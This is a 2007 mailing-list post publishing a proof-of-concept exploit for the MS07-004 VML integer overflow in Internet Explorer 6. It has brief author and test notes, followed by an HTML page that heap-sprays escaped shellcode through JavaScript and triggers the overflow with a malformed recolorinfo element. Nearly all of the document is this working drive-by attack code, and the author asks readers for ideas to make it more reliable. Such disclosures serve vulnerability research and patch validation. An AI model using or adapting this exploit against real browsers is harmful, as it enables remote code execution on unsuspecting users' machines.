MS07-004 VML Integer Overflow Exploit Jan 16 2007 06:34AM
LifeAsaGeek gmail com

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MS07-004 VML integer overflow exploit
by lifeasageek at gmail.com

- Trigger CVMLRecolorinfo::InternalLoad() method
you can see the screen captured image "http://picasaweb.google.com/lifeasageek/MS07004/photo?pli=1#50191639891
36880322"
which is generated by DarunGrim

- tested on WinXP SP2 Korean version( fully patched except kb929969) & IE 6.0
and I hope it works well in English version

- sorry about that exploit hit ratio is only about 1/5
If you have any good idea to improve reliability, please send me an
e-mail with your idea

- all the java script codes scratched from MS06-055 exploit written
byTrirat Puttaraksa (Kira) <trir00t [at] gmail.com>
and slightly modified

- 2007.1.15

-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u
0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u
543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u
89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u
0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u
7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

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<v:recolorinfo recolorstate="t" numcolors="97612895">

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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
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<v/recolorinfo>
</html>

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